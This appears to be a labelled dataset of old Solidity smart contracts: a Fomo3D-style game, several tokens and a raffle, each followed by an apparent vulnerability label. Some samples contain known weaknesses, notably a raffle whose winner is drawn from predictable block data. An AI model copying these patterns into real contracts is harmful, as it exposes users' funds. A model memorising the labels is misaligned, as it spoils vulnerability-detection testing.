function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 113 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract NZToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function NZToken() public {
symbol = "NZ";
name = "New Zone";
decimals = 12;
_totalSupply = 5000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,223 |
pragma solidity ^0.4.16;
contract Ethraffle {
struct Contestant {
address addr;
uint raffleId;
}
event RaffleResult(
uint indexed raffleId,
uint winningNumber,
address winningAddress,
address seed1,
address seed2,
uint seed3,
bytes32 randHash
);
event TicketPurchase(
uint indexed raffleId,
address contestant,
uint number
);
event TicketRefund(
uint indexed raffleId,
address contestant,
uint number
);
uint public constant prize = 0.01 ether;
uint public constant fee = 0.01 ether;
uint public constant totalTickets = 6;
uint public constant pricePerTicket = (prize + fee) / totalTickets;
address feeAddress;
bool public paused = false;
uint public raffleId = 1;
uint nextTicket = 0;
mapping (uint => Contestant) contestants;
uint[] gaps;
function Ethraffle() public {
feeAddress = msg.sender;
}
function () payable public {
buyTickets();
}
function buyTickets() payable public {
if (paused) {
msg.sender.transfer(msg.value);
return;
}
uint moneySent = msg.value;
while (moneySent >= pricePerTicket && nextTicket < totalTickets) {
uint currTicket = 0;
if (gaps.length > 0) {
currTicket = gaps[gaps.length-1];
gaps.length--;
} else {
currTicket = nextTicket++;
}
contestants[currTicket] = Contestant(msg.sender, raffleId);
TicketPurchase(raffleId, msg.sender, currTicket);
moneySent -= pricePerTicket;
}
if (nextTicket == totalTickets) {
chooseWinner();
}
if (moneySent > 0) {
msg.sender.transfer(moneySent);
}
}
function chooseWinner() private {
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(raffleId, winningNumber, winningAddress, seed1, seed2, seed3, randHash);
raffleId++;
nextTicket = 0;
winningAddress.transfer(prize);
feeAddress.transfer(fee);
}
function getRefund() public {
uint refund = 0;
for (uint i = 0; i < totalTickets; i++) {
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
refund += pricePerTicket;
contestants[i] = Contestant(address(0), 0);
gaps.push(i);
TicketRefund(raffleId, msg.sender, i);
}
}
if (refund > 0) {
msg.sender.transfer(refund);
}
}
function endRaffle() public {
if (msg.sender == feeAddress) {
paused = true;
for (uint i = 0; i < totalTickets; i++) {
if (raffleId == contestants[i].raffleId) {
TicketRefund(raffleId, contestants[i].addr, i);
contestants[i].addr.transfer(pricePerTicket);
}
}
RaffleResult(raffleId, totalTickets, address(0), address(0), address(0), 0, 0);
raffleId++;
nextTicket = 0;
gaps.length = 0;
}
}
function togglePause() public {
if (msg.sender == feeAddress) {
paused = !paused;
}
}
function kill() public {
if (msg.sender == feeAddress) {
selfdestruct(feeAddress);
}
}
} | 0 | 286 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract VeloxToken is ERC20, Ownable {
using SafeMath for uint256;
string public constant name = "Velox";
string public constant symbol = "VLX";
uint8 public constant decimals = 2;
uint256 public constant STAKE_START_TIME = 1535241600;
uint256 public constant STAKE_MIN_AGE = 64 seconds * 20;
uint256 public constant STAKE_APR = 13;
uint256 public constant MAX_TOTAL_SUPPLY = 100 * (10 ** (6 + uint256(decimals)));
bool public balancesInitialized = false;
struct transferIn {
uint64 amount;
uint64 time;
}
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowed;
mapping (address => transferIn[]) transferIns;
uint256 private totalSupply_;
event Mint(address indexed to, uint256 amount);
modifier canMint() {
require(totalSupply_ < MAX_TOTAL_SUPPLY);
_;
}
constructor() public {
totalSupply_ = 0;
}
function mint() public canMint returns (bool) {
if (balances[msg.sender] <= 0) return false;
if (transferIns[msg.sender].length <= 0) return false;
uint reward = _getStakingReward(msg.sender);
if (reward <= 0) return false;
_mint(msg.sender, reward);
emit Mint(msg.sender, reward);
return true;
}
function getCoinAge() public view returns (uint256) {
return _getCoinAge(msg.sender, block.timestamp);
}
function _getStakingReward(address _address) internal view returns (uint256) {
require(block.timestamp >= STAKE_START_TIME);
uint256 coinAge = _getCoinAge(_address, block.timestamp);
if (coinAge <= 0) return 0;
return (coinAge * STAKE_APR).div(365 * 100);
}
function _getCoinAge(address _address, uint256 _now) internal view returns (uint256 _coinAge) {
if (transferIns[_address].length <= 0) return 0;
for (uint256 i = 0; i < transferIns[_address].length; i++) {
if (_now < uint256(transferIns[_address][i].time).add(STAKE_MIN_AGE)) continue;
uint256 coinSeconds = _now.sub(uint256(transferIns[_address][i].time));
_coinAge = _coinAge.add(uint256(transferIns[_address][i].amount).mul(coinSeconds).div(1 days));
}
}
function initBalances(address[] _accounts, uint64[] _amounts) external onlyOwner {
require(!balancesInitialized);
require(_accounts.length > 0 && _accounts.length == _amounts.length);
uint256 total = 0;
for (uint256 i = 0; i < _amounts.length; i++) total = total.add(uint256(_amounts[i]));
require(total <= MAX_TOTAL_SUPPLY);
for (uint256 j = 0; j < _accounts.length; j++) _mint(_accounts[j], uint256(_amounts[j]));
}
function completeInitialization() external onlyOwner {
require(!balancesInitialized);
balancesInitialized = true;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (msg.sender == _to) return mint();
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
if (transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 time = uint64(block.timestamp);
transferIns[msg.sender].push(transferIn(uint64(balances[msg.sender]), time));
transferIns[_to].push(transferIn(uint64(_value), time));
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
if (transferIns[_from].length > 0) delete transferIns[_from];
uint64 time = uint64(block.timestamp);
transferIns[_from].push(transferIn(uint64(balances[_from]), time));
transferIns[_to].push(transferIn(uint64(_value), time));
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _mint(address _account, uint256 _amount) internal {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
if (transferIns[_account].length > 0) delete transferIns[_account];
transferIns[_account].push(transferIn(uint64(balances[_account]), uint64(block.timestamp)));
emit Transfer(address(0), _account, _amount);
}
} | 0 | 1,207 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC827 is ERC20 {
function approve( address _spender, uint256 _value, bytes _data ) public returns (bool);
function transfer( address _to, uint256 _value, bytes _data ) public returns (bool);
function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool);
}
contract AccessControl {
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract TournamentInterface {
function isTournament() public pure returns (bool);
function isPlayerIdle(address _owner, uint256 _playerId) public view returns (bool);
}
contract BSBase is AccessControl {
event Birth(address owner, uint32 playerId, uint16 typeId, uint8 attack, uint8 defense, uint8 stamina, uint8 xp, uint8 isKeeper, uint16 skillId);
event Transfer(address from, address to, uint256 tokenId);
struct Player {
uint16 typeId;
uint8 attack;
uint8 defense;
uint8 stamina;
uint8 xp;
uint8 isKeeper;
uint16 skillId;
uint8 isSkillOn;
}
Player[] players;
uint256 constant commonPlayerCount = 10;
uint256 constant totalPlayerSupplyLimit = 80000000;
mapping (uint256 => address) public playerIndexToOwner;
mapping (address => uint256) ownershipTokenCount;
mapping (uint256 => address) public playerIndexToApproved;
ERC827 public joyTokenContract;
TournamentInterface public tournamentContract;
function _transfer(address _from, address _to, uint256 _tokenId) internal {
ownershipTokenCount[_to]++;
playerIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete playerIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
function _createPlayer(
address _owner,
uint256 _typeId,
uint256 _attack,
uint256 _defense,
uint256 _stamina,
uint256 _xp,
uint256 _isKeeper,
uint256 _skillId
)
internal
returns (uint256)
{
Player memory _player = Player({
typeId: uint16(_typeId),
attack: uint8(_attack),
defense: uint8(_defense),
stamina: uint8(_stamina),
xp: uint8(_xp),
isKeeper: uint8(_isKeeper),
skillId: uint16(_skillId),
isSkillOn: 0
});
uint256 newPlayerId = players.push(_player) - 1;
require(newPlayerId <= totalPlayerSupplyLimit);
Birth(
_owner,
uint32(newPlayerId),
_player.typeId,
_player.attack,
_player.defense,
_player.stamina,
_player.xp,
_player.isKeeper,
_player.skillId
);
_transfer(0, _owner, newPlayerId);
return newPlayerId;
}
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) public view returns (bool);
}
contract BSOwnership is BSBase, ERC721 {
string public constant name = "BitSoccer Player";
string public constant symbol = "BSP";
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256("supportsInterface(bytes4)"));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256("name()")) ^
bytes4(keccak256("symbol()")) ^
bytes4(keccak256("totalSupply()")) ^
bytes4(keccak256("balanceOf(address)")) ^
bytes4(keccak256("ownerOf(uint256)")) ^
bytes4(keccak256("approve(address,uint256)")) ^
bytes4(keccak256("transfer(address,uint256)")) ^
bytes4(keccak256("transferFrom(address,address,uint256)")) ^
bytes4(keccak256("tokensOfOwner(address)"));
function supportsInterface(bytes4 _interfaceID) public view returns (bool)
{
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return playerIndexToOwner[_tokenId] == _claimant;
}
function _isIdle(address _owner, uint256 _tokenId) internal view returns (bool) {
return (tournamentContract == address(0) || tournamentContract.isPlayerIdle(_owner, _tokenId));
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return playerIndexToApproved[_tokenId] == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
playerIndexToApproved[_tokenId] = _approved;
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
function transfer(
address _to,
uint256 _tokenId
)
public
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_owns(msg.sender, _tokenId));
require(_isIdle(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function approve(
address _to,
uint256 _tokenId
)
public
whenNotPaused
{
require(_owns(msg.sender, _tokenId));
require(_isIdle(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
require(_isIdle(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function totalSupply() public view returns (uint) {
return players.length;
}
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = playerIndexToOwner[_tokenId];
require(owner != address(0));
}
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
uint256[] memory result = new uint256[](tokenCount+commonPlayerCount);
uint256 resultIndex = 0;
uint256 playerId;
for (playerId = 1; playerId <= commonPlayerCount; playerId++) {
result[resultIndex] = playerId;
resultIndex++;
}
if (tokenCount == 0) {
return result;
} else {
uint256 totalPlayers = totalSupply();
for (; playerId < totalPlayers; playerId++) {
if (playerIndexToOwner[playerId] == _owner) {
result[resultIndex] = playerId;
resultIndex++;
}
}
return result;
}
}
}
interface RandomPlayerInterface {
function isRandomPlayer() public pure returns (bool);
function gen() public returns (uint256 typeId, uint256 attack, uint256 defense, uint256 stamina, uint256 xp, uint256 isKeeper, uint256 skillId);
}
contract BSMinting is BSOwnership {
using SafeMath for uint256;
RandomPlayerInterface public randomPlayer;
uint256 constant public exchangePlayerTokenCount = 100 * (10**18);
uint256 constant promoCreationPlayerLimit = 50000;
uint256 public promoCreationPlayerCount;
uint256 public promoEndTime;
mapping (address => uint256) public userToken2PlayerCount;
event ExchangePlayer(address indexed user, uint256 count);
function BSMinting() public {
promoEndTime = now + 2 weeks;
}
function setPromoEndTime(uint256 _endTime) external onlyCOO {
promoEndTime = _endTime;
}
function setRandomPlayerAddress(address _address) external onlyCEO {
RandomPlayerInterface candidateContract = RandomPlayerInterface(_address);
require(candidateContract.isRandomPlayer());
randomPlayer = candidateContract;
}
function createPromoPlayer(address _owner, uint256 _typeId, uint256 _attack, uint256 _defense,
uint256 _stamina, uint256 _xp, uint256 _isKeeper, uint256 _skillId) external onlyCOO {
address sender = _owner;
if (sender == address(0)) {
sender = cooAddress;
}
require(promoCreationPlayerCount < promoCreationPlayerLimit);
promoCreationPlayerCount++;
_createPlayer(sender, _typeId, _attack, _defense, _stamina, _xp, _isKeeper, _skillId);
}
function token2Player(address _sender, uint256 _count) public whenNotPaused returns (bool) {
require(msg.sender == address(joyTokenContract) || msg.sender == _sender);
require(_count > 0);
uint256 totalTokenCount = _count.mul(exchangePlayerTokenCount);
require(joyTokenContract.transferFrom(_sender, cfoAddress, totalTokenCount));
uint256 typeId;
uint256 attack;
uint256 defense;
uint256 stamina;
uint256 xp;
uint256 isKeeper;
uint256 skillId;
for (uint256 i = 0; i < _count; i++) {
(typeId, attack, defense, stamina, xp, isKeeper, skillId) = randomPlayer.gen();
_createPlayer(_sender, typeId, attack, defense, stamina, xp, isKeeper, skillId);
}
if (now < promoEndTime) {
_onPromo(_sender, _count);
}
ExchangePlayer(_sender, _count);
return true;
}
function _onPromo(address _sender, uint256 _count) internal {
uint256 userCount = userToken2PlayerCount[_sender];
uint256 userCountNow = userCount.add(_count);
userToken2PlayerCount[_sender] = userCountNow;
if (userCount == 0) {
_createPlayer(_sender, 14, 88, 35, 58, 1, 0, 56);
}
if (userCount < 5 && userCountNow >= 5) {
_createPlayer(_sender, 13, 42, 80, 81, 1, 0, 70);
}
}
function createCommonPlayer() external onlyCOO returns (uint256)
{
require(players.length == 0);
players.length++;
uint16 commonTypeId = 1;
address commonAdress = address(0);
_createPlayer(commonAdress, commonTypeId++, 40, 12, 25, 1, 0, 0);
_createPlayer(commonAdress, commonTypeId++, 16, 32, 39, 3, 0, 0);
_createPlayer(commonAdress, commonTypeId++, 30, 35, 13, 3, 0, 0);
_createPlayer(commonAdress, commonTypeId++, 22, 30, 24, 5, 0, 0);
_createPlayer(commonAdress, commonTypeId++, 25, 14, 43, 3, 0, 0);
_createPlayer(commonAdress, commonTypeId++, 15, 40, 22, 5, 0, 0);
_createPlayer(commonAdress, commonTypeId++, 17, 39, 25, 3, 0, 0);
_createPlayer(commonAdress, commonTypeId++, 41, 22, 13, 3, 0, 0);
_createPlayer(commonAdress, commonTypeId++, 30, 31, 28, 1, 0, 0);
_createPlayer(commonAdress, commonTypeId++, 13, 45, 11, 3, 1, 0);
require(commonPlayerCount+1 == players.length);
return commonPlayerCount;
}
}
contract SaleClockAuctionInterface {
function isSaleClockAuction() public pure returns (bool);
function createAuction(uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller) external;
}
contract BSAuction is BSMinting {
SaleClockAuctionInterface public saleAuction;
function setSaleAuctionAddress(address _address) public onlyCEO {
SaleClockAuctionInterface candidateContract = SaleClockAuctionInterface(_address);
require(candidateContract.isSaleClockAuction());
saleAuction = candidateContract;
}
function createSaleAuction(
uint256 _playerId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
public
whenNotPaused
{
require(_owns(msg.sender, _playerId));
_approve(_playerId, saleAuction);
saleAuction.createAuction(
_playerId,
_startingPrice,
